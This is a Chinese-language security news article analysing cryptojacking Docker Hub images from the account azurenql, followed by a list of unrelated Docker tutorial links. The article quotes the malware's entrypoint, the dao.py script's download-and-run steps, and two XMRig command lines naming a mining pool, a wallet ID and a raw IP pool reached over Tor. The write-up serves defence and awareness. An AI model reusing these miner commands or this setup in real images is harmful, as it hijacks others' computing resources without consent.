Docker Hub投毒木馬鏡像,利用Docker挖門羅幣

2020-12-24 蟲蟲搜奇

最近幾年內,雲和虛擬化架構越來越普及,用Docker容器打包軟體應用程式的做法已經越來越流行。Docker Hub為用戶和企業提供了基於社區的強大模型,方便Docker鏡像的方式共享應用程式。當然,這種流行的方式也吸引了黑產攻擊者,他們通過在Docker容器注入木馬,進行劫持挖礦,並使用Docker Hub分發惡意鏡像。本文我們就分享一個這樣的案例,供大家參考並預防。

概述

案例中涉及的Docker Hub惡意帳號名為azurenql,Palo Alto安全團隊分析發現該帳戶從2019年10月開始一直處於活動狀態,並託管了六個用於包含挖掘Monero的惡意木馬。鏡像中的挖礦木馬通過使用ProxyChains和Tor的網絡匿名化工具來逃避網絡檢測。帳戶上託管的鏡像已經累積拉取超過200萬次。這些鏡像通過假冒Microsoft Docker Hub的 Azure有關的鏡像。已經分析識別出相關的一個錢包ID已經賺取的門羅幣超過525.38 XMR,大約相當於36,000美元。而且該ID還在活躍並被使用中。相關信息已經被反饋到Docker Hub的安全團隊。希望能儘快刪除惡意帳號。

鏡像和統計

惡意的Docker Hub用戶名為azurenql,帳號下的八個門羅幣挖礦木馬鏡像如下:

這些惡意鏡像的相關信息如下,其中第一個鏡像已經被拉取了超147萬次。

Docker鏡像結構

為了了解如何構建鏡像,分析了azurenql/227_135442的鏡像結構。該鏡像按以下步驟順序構建:

使用Ubuntu 16.04.6 LTS作為"基礎鏡像"。

從原始碼安裝構建所需的依賴項,例如gcc,make,python等。

安裝Tor以匿名化流量。並且其配置為監聽其默認的9050埠:

/etc/tor/torrc

127.0.0.1:9050

下載ProxyChains-NG的原始碼並從原始碼構建。ProxyChains配置保留為默認設置,以通過本地Tor SOCKS代理連接路由其流量。

/usr/local/etc/proxychains.conf

[ProxyList]

# defaults set to "tor"

socks4 127.0.0.1 9050

下載挖礦軟體XMRig的原始碼,並從原始碼進行構建。

下載自定義python腳本dao.py並將其設置為鏡像的入口點。整個過程過程如下:

自定義腳本dao.py分析

鏡像中包括一個名為dao.py的自定義Python惡意腳本,該腳本負責啟動容器內的挖掘過程,並包含在所有鏡像中。

如前所述,此腳本在鏡像中註冊為入口點,因此一旦啟動鏡像,腳本會自動運行。

"Entrypoint": [

"/bin/sh",

"-c",

"python /etc/dao.py"

],

所有Docker鏡像都包含此dao.py腳本或者某變體。這些dao.py腳本之間的唯一區別是,使用了不同的XMRig命令行調用。dao.py腳本的高級執行流程:

找系統上的CPU內核數。

設置hugepages系統屬性以提高哈希率。

安裝Tor並建立依賴關係。

如果沒有安裝proxychains-ng,從github/rofl0r/proxychains-ng.git安裝

如果/usr/local/bin中沒有XMRig二進位文件,從github /nguyennhatduy2608/azures/raw/master/下載

在/usr/local/bin和/usr/bin下對XMRig二進位文件進行符號連結

在後臺啟動Tor。

通過代理鏈啟動礦工,如前所述,礦工將通過本地Tor SOCKS代理路由礦工流量。

腳本的執行工作流程如下圖所示:

挖礦基礎設施

加密礦是要解決一個複雜的計算問題,使用戶可以將交易塊連結在一起。這些鏡像利用注入的系統處理能力來驗證交易。惡意木馬使用兩種方法通過在用戶環境中運行這些惡意鏡像來挖掘區塊。

在第一種方法中,攻擊者使用錢包ID將已開採的區塊直接提交到中央minexmr池。

os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o

stratum+tcp://pool.minexmr.com:4444 -u

43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2

Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')

通過在羅門幣Monero礦池minexmrdotcom上查找該錢包ID的交易摘要時,發現最近的活動表明該錢包ID仍在使用。

下圖6顯示相關錢包在2020年4月和2020年5月的採礦活動。

下面的圖7表明該錢包ID已賺取525.38 XMR,大約相當於36,000美元。

第二種方法是,惡意腳本將實例部署在運行自己的挖掘池的託管服務上,這些實例用於收集挖掘的塊。

os.system ('proxychains4 ' + program + ' --donate-level 1 -o

stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))

結論

Docker容器為打包軟體提供了一種便捷的方式,這可以通過採用率的提高來證明。這與門羅幣挖礦結合,使惡意參與者可以輕鬆地將其鏡像分發到任何支持Docker的機器,並立即開始使用其計算資源進行加密劫持。而且最近發現一系列挖礦木馬都挖的是門羅幣,不知道是不是有巧合還是其他原因值得更進一步分析。

相關焦點

  • Docker初體驗,向Docker Hub推送第一個Docker鏡像
    二、通過Dockerfile構建鏡像這一步在之前的文章中有所涉及,操作如下:[root@ChatDevOps docker-test]# docker build -f /root/docker-test/Dockerfile -t chatdevops/myapp .
  • docker 鏡像的使用
    從前面的文章可知,當我們運行一個web項目時需要在一個容器上運行,而當我們運行一個容器時需要一個鏡像,如果我們本地沒有鏡像,那麼docker就會自動從鏡像倉庫中下載,默認是從docker hub公共鏡像資源庫下載。
  • 使用 Docker 鏡像 | Docker 系列
    典型的鏡像表示方法分三部分,用 / 分隔:remote image hub/namespace/name:tagremote image hub:存儲鏡像的 Web 伺服器地址;namespace:命名空間,表示一個用戶或組織下的所有鏡像;name:鏡像名稱;
  • 使用Docker 鏡像|Docker 系列
    典型的鏡像表示方法分三部分,用 / 分隔:remote image hub/namespace/name:tagremote image hub:存儲鏡像的 Web 伺服器地址;使用 docker tag 命令來給本地鏡像添加新的標籤。
  • Docker實戰005:docker鏡像使用詳解
    Docker build會讀取定製的Dockerfile並通過Docker伺服器創建鏡像。Docker鏡像是一個只讀的模板,鏡像內不包含任何動態數據即使構建之後也不會被改變。用戶可以從 Docker Hub 獲取已有鏡像,也可以利用本地文件系統創建鏡像。
  • docker系列學習之如何有效的管理docker鏡像
    docker鏡像管理Docker Hubdocker hub是docker官方提供的一個集中管理docker鏡像的平臺,裡面大多數鏡像幾乎一應俱全。接下來就說下如何使用docker hub。創建成功後就可以將自己的製作的鏡像推送到docker hub了
  • Docker系列教程01-使用Docker鏡像
    >[root@qll251 ~]# docker rmi myubuntu:v1 Untagged: myubuntu:v1當同一個鏡像擁有多個標籤時,docker rmi命令只是刪除該鏡像的一個標籤副本,並不影響鏡像文件。
  • 利用jib-maven-plugin一鍵部署docker鏡像
    和OCI鏡像的Maven插件。--鏡像名稱和tag--> <image>docker.io/iamlisen/dockerjib</image> <tags> <tag>v1</tag>
  • docker系列——使用maven構建docker鏡像並上傳鏡到像倉庫
    >一鍵式構建鏡像或者直接使用maven將鏡像推送到我們的指定倉庫,那麼這裡就需要使用maven的docker插件了。有時候我們需要使用docker更加方便的構建生成鏡像,此時就需要使用maven插件引入Dockerfile文件路徑構建鏡像。
  • 給Docker鏡像注入木馬劫持挖礦,已獲利3萬六千刀
    Docker Hub為用戶和企業提供了基於社區的強大模型,方便Docker鏡像的方式共享應用程式。當然,這種流行的方式也吸引了黑產攻擊者,他們通過在Docker容器注入木馬,進行劫持挖礦,並使用Docker Hub分發惡意鏡像。本文我們就分享一個這樣的案例,供大家參考並預防。
  • Docker拉取鏡像加速
    剛開始學習docker的同學一定會碰到,從docker官網上拉取鏡像時,那速度和烏龜差不太多,這是因為docker默認是從官網拉取,而國內訪問國外的網,其速度可想而知。其實國內也有很多docker的鏡像網站,而且是免費的,這裡我給大家分享一下,怎麼讓docker從國內鏡像網站去拉取鏡像
  • 使用Docker鏡像
    獲取鏡像鏡像是運行容器的前提,因此首先是需要獲取鏡像,開發者可以使用docker [image] pull命令直接從官方的Docker Hub網站上進行獲取,該命令的格式為docker [image] pull NAME[:TAG],其中NAME是鏡像倉庫名稱,用來區分鏡像,而TAG
  • 如何快速打通 Docker 鏡像發布流程?
    這個劃時代的進步,直接把docker鏡像和宿主分離開來,使得docker鏡像只要公布出來,就能使任何人在任何地方任何時間都可以隨意運行,換句話說,docker鏡像可以被分發到任何運行docker的伺服器上。
  • 雲計算核心技術Docker教程:Docker使用鏡像加速
    來源:TechWeb.com.cn使用docker在國內從 DockerHub 拉取鏡像有時會遇到困難,此時可以配置鏡像加速器。1,使用Docker 官方加速器 https://registry.docker-cn.com 直接從該鏡像加速地址進行拉取。
  • 雲計算核心技術Docker教程: Docker使用鏡像加速
    使用docker在國內從 DockerHub 拉取鏡像有時會遇到困難,此時可以配置鏡像加速器。1,使用Docker 官方加速器 https://registry.docker-cn.com 直接從該鏡像加速地址進行拉取。
  • 基於centos linux環境配置docker鏡像加速器
    背景:因為docker容器默認下載鏡像是直接到https://hub.docker.com/網站下載,該網站是國外網站下載速度很慢,為了解決這一問題,我們需要配置阿里雲鏡像,配置成功後在hub.docker上面的鏡像下載就會通過阿里雲鏡像進行下載,我這裡的
  • docker如何搭建個人鏡像倉庫
    簡介很多時候我們不想把我們docker鏡像直接暴露出來,那麼我們就不能直接上傳docker-hub上。所以對於個人或者企業,有一個自己的鏡像倉庫,也是很重要的。本文主要利用harbor這個插件,來搭建個人倉庫安裝OS:Centos7docker:191、安裝docker-compose(前提你的系統安裝好python
  • 給Docker鏡像注入木馬劫持挖礦,已獲利3萬六千刀
    概述 案例中涉及的Docker Hub惡意帳號名為azurenql,Palo Alto安全團隊分析發現該帳戶從2019年10月開始一直處於活動狀態,並託管了六個用於包含挖掘Monero的惡意木馬。鏡像中的挖礦木馬通過使用ProxyChains和Tor的網絡匿名化工具來逃避網絡檢測。帳戶上託管的鏡像已經累積拉取超過200萬次。
  • 手把手教你搭建自己的docker-hub
    目錄前言為什麼要搭建docker-hub1.前言為什麼要搭建docker-hub第一,由於眾所周知的原因,我們從docker下載鏡像的時候,速度慢,而我們自己搭建docker-hub速度則很快。第二,官方的鏡像有的時候無法滿足我們的業務需求,我們需要進行定製開發,在完成之後,上傳到公司內部的docker-hub中,方便其他人進行下載。基於以上的原因,我們就需要搭建自己的docker-hub了。經過上面的需求分析,我們選擇了harbor來搭建我們的docker-hub。harbor1.
  • Docker 安裝及配置鏡像加速
    Docker 鏡像、容器、數據卷和網絡數據都保存在 /var/lib/docker/。docker  設置開機啟動 sudo systemctl enable docker  查看 docker 內容器的運行狀態 sudo docker stats  查看 docker 幫助文檔 sudo docker --help